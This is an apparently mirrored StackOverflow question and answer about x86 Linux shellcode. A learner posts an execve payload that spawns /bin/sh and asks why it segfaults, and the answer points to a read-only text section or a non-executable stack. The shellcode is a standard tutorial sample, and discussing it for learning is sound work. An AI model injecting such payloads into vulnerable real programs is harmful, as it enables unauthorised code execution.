Question

Hello I have a problem with the following execv example:

jmp short callit

doit:

pop esi
xor eax, eax
mov byte [esi + 7], al
lea ebx, [esi]
mov long [esi + 8], ebx
mov long [esi + 12], eax
mov byte al, 0x0b
mov ebx, esi
lea ecx, [esi + 8]
lea edx, [esi + 12]
int 0x80

callit: call doit
db '/bin/sh#AAAABBBB'

Why is the code segfaulting? I got it from: http://www.safemode.org/files/zillion/shellcode/doc/Writing_shellcode.html

Was it helpful?

Solution

You have forgotten to tell us how you are running this code and where it faults.

If you tried to put this into a stock executable then it presumably ended up in the read-only text section, hence the fault.

If you tried this from the stack, then that might not be executable, hence the fault.

Licensed under: CC-BY-SA with attribution
Not affiliated with StackOverflow
scroll top